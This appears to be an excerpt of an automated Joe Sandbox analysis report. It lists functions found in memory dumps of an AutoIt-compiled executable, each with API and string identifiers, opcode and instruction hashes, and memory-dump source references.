                                                            • Instruction ID: 8447b39b2c23698c55d683fb54819eb72d9ed420271a4b188ccaff155f28c241
                                                            • Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
                                                            • Instruction Fuzzy Hash: B231F876A08781CAE770CF15E44475AB7A1F789790F144275EAAC83B98DF3CD885CB01
                                                            Function 00007FF69DB6FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _handle_error
                                                            • String ID: "$pow
                                                            • API String ID: 1757819995-713443511
                                                            • Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
                                                            • Instruction ID: 85ea118a15979212d289e3c5416305ce59b9fc06f5ddcdf264f5a842c3f8e457
                                                            • Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
                                                            • Instruction Fuzzy Hash: F72138B2D1CA8587E370CF10E04066ABAA0FBDE354FA02325F7C946959EFBDD1819B00
                                                            Function 00007FF69DB9DDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClassMessageNameSend
                                                            • String ID: ComboBox$ListBox
                                                            • API String ID: 3678867486-1403004172
                                                            • Opcode ID: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
                                                            • Instruction ID: 210150c86aa923b11e2e5574cc5ae98fae09ba772fede07f81f959174a0e09aa
                                                            • Opcode Fuzzy Hash: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
                                                            • Instruction Fuzzy Hash: 7611A8B2A19B8181EA20DB11D5411FD63A1FB96BA0F8442B1DAEC877DEEE3CD505C740
                                                            Function 00007FF69DB9DD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClassMessageNameSend
                                                            • String ID: ComboBox$ListBox
                                                            • API String ID: 3678867486-1403004172
                                                            • Opcode ID: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
                                                            • Instruction ID: 69489d3807c231ff50e6c93031008cea19c45c1a60893f21fa5b0f75bc9f6cdb
                                                            • Opcode Fuzzy Hash: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
                                                            • Instruction Fuzzy Hash: B11160A2A0968292EA309711E1512F963A0FF96784F844171DADD87A8EEE2CE6058B40
                                                            Function 00007FF69DB9DCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClassMessageNameSend
                                                            • String ID: ComboBox$ListBox
                                                            • API String ID: 3678867486-1403004172
                                                            • Opcode ID: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
                                                            • Instruction ID: c6c5ccf5159cde73426188ca5233b8fa76539c290a4d0960329c83453ea25b9b
                                                            • Opcode Fuzzy Hash: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
                                                            • Instruction Fuzzy Hash: 981186A2B1968192EB30DB11E1511FD6360FF9A784F8441B1D6CD8769DEF2CD605CB40
                                                            Function 00007FF69DBBE708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Internet$OpenOption
                                                            • String ID: <local>
                                                            • API String ID: 942729171-4266983199
                                                            • Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                            • Instruction ID: 37ca22a3f62c950712863d7695944a67fd9d30e60c42eb0f60dbb91ef9769270
                                                            • Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                            • Instruction Fuzzy Hash: E0119876A1864186E7B18B16E1407FD63A1E782B48FA44075DACD86AECEF3DD886C740
                                                            Function 00007FF69DBDFEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseCreateHandleProcess
                                                            • String ID:
                                                            • API String ID: 3712363035-3916222277
                                                            • Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
                                                            • Instruction ID: 82f6aeb67f1c0cbc013ca14a6232583a5412ac66d974c0c1293d8fd05e92426b
                                                            • Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
                                                            • Instruction Fuzzy Hash: A1115E71A08741CAE7209F52F90056AB6B5FB85794F44517AEB8D87A68DF3DD092CB00
                                                            Function 00007FF69DB9DEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClassMessageNameSend
                                                            • String ID: ComboBox$ListBox
                                                            • API String ID: 3678867486-1403004172
                                                            • Opcode ID: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
                                                            • Instruction ID: 76f2ea46262a5ff7d9ba77a3157bab0d4ba485a5a961c0d44548e42f08bc72ad
                                                            • Opcode Fuzzy Hash: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
                                                            • Instruction Fuzzy Hash: 560161A2A1D58292EA30D715E1912F95360EF96394F904171E5CD87A9EFE2CE609CB00
                                                            Function 00007FF69DB715B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _ctrlfp_handle_error_raise_exc
                                                            • String ID: !$tan
                                                            • API String ID: 3384550415-2428968949
                                                            • Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                            • Instruction ID: 49f3dbc06cb769b52a669d6f3ec07bba83e658c975574c4f1a0b87406f95ecfc
                                                            • Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                            • Instruction Fuzzy Hash: 1E018071A28B8542DB24CF22A41033A6662FBDA7D4F105335EA9E0BF88EF7CD1509B00
                                                            Function 00007FF69DB714FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _ctrlfp_handle_error_raise_exc
                                                            • String ID: !$sin
                                                            • API String ID: 3384550415-1565623160
                                                            • Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                            • Instruction ID: 924e94b8c8efa1d8515379a72f796e68467bd03d70c4b120462ef264a717b2b5
                                                            • Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                            • Instruction Fuzzy Hash: 0B0192B2A28B8542D624CF22940033A6662FB9B7D4F505335EA9E0AB88FF6DD0405B00
                                                            Function 00007FF69DB714E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _ctrlfp_handle_error_raise_exc
                                                            • String ID: !$cos
                                                            • API String ID: 3384550415-1949035351
                                                            • Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                            • Instruction ID: a92a2010c4956802661d53a89eaa5e816770def3bca15d6dd7ccae4d438cab82
                                                            • Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                            • Instruction Fuzzy Hash: 200192B1A29B8942D624CE22940032A6662FB9B7D4F105335EA9E0AB88EF7DD0505B00
                                                            Function 00007FF69DB71370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _handle_error
                                                            • String ID: "$exp
                                                            • API String ID: 1757819995-2878093337
                                                            • Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                            • Instruction ID: 31d6880a3c10582c330d39dd632e894c1b1d15fa16d6a628e0b4c6d4f031213c
                                                            • Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                            • Instruction Fuzzy Hash: 0501C876938B8893E330CF34D4456AA77B0FFEA344F206325E78416A64DB7DD4819B00
                                                            Function 00007FF69DB9C59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Message
                                                            • String ID: AutoIt$Error allocating memory.
                                                            • API String ID: 2030045667-4017498283
                                                            • Opcode ID: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
                                                            • Instruction ID: 7ae3301fb43588a9f403fab5d1305254cee2e660ae7007043cea3964da3925ca
                                                            • Opcode Fuzzy Hash: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
                                                            • Instruction Fuzzy Hash: 8BF0A0A0B1864A42EB386755F1513B92251EF897C0F9454B1D98DC7B9EEDADD4818340
                                                            Function 00007FF69DB575C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            • try_get_function.LIBVCRUNTIME ref: 00007FF69DB575E9
                                                            • TlsSetValue.KERNEL32(?,?,?,00007FF69DB57241,?,?,?,?,00007FF69DB5660C,?,?,?,?,00007FF69DB54CD3), ref: 00007FF69DB57600
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Valuetry_get_function
                                                            • String ID: FlsSetValue
                                                            • API String ID: 738293619-3750699315
                                                            • Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                            • Instruction ID: c5c9e7edd2a1ffa256bfedc9d10bf3bc7f987e618e5921a67ed163402cde6ee4
                                                            • Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                            • Instruction Fuzzy Hash: 81E030E6A0854281EB264F55F4004F82361EF49B91F9850F5DA8D8725DEE7CD94CC7A0
                                                            Function 00007FF69DB55620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69DB55629
                                                            • _CxxThrowException.LIBVCRUNTIME ref: 00007FF69DB5563A
                                                              • Part of subcall function 00007FF69DB57018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69DB5563F), ref: 00007FF69DB5708D
                                                              • Part of subcall function 00007FF69DB57018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69DB5563F), ref: 00007FF69DB570BF
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
                                                            • String ID: Unknown exception
                                                            • API String ID: 3561508498-410509341
                                                            • Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                            • Instruction ID: c7760db60710561a0f3f33889ade0195ac45201ed9ad4ccb04a4e33420e9cec8
                                                            • Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                            • Instruction Fuzzy Hash: F0D05B66A24545D1DE30DF04D8403A86374F750304FD04471D18DC25B5FF2CD64AD340